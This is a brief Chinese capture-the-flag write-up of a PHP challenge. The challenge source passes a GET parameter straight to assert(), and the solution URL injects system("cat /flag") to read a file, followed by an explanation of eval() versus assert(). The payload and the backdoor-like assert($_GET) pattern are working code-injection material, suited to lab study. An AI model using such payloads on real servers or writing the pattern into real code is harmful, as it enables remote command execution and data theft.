源码
<?php if(isset($_GET[2024])){ assert($_GET[2024]); } else { echo "服务器剩余防御:1层"; } ?>
|
思路
存在危险函数 assert() ,可以执行系统命令,使用下面的参数即可
http://ctf.seek2.top:32805/?2024=system(%22cat%20/flag%22)
|
知识点
在PHP中,eval()
和assert()
都是用于执行字符串作为PHP代码的函数,但它们的用途和行为有所不同。
eval()
:这个函数接受一个字符串参数,并将其作为PHP代码执行。它可以执行任何类型的PHP代码,包括定义变量、函数和类。如果代码执行成功,eval()
将返回最后一个表达式的结果;如果代码执行失败,它将返回FALSE
。eval()
的主要问题是安全性,因为它可以执行任何PHP代码,所以如果你不小心,可能会执行恶意代码。
$code = '$a = 5; $b = 10; return $a + $b;'; $result = eval($code); echo $result;
|
assert()
:这个函数主要用于断言。它接受一个字符串或表达式,如果该表达式的结果为FALSE
,则会抛出一个警告或异常(取决于assert.exception
配置)。assert()
主要用于开发和测试阶段,用于检查代码的正确性。在生产环境中,通常会禁用断言。
assert('$a == $b', 'a and b are not equal');
|
总的来说,eval()
和assert()
都可以执行PHP代码,但eval()
更通用,也更危险,而assert()
主要用于开发和测试阶段,用于检查代码的正确性。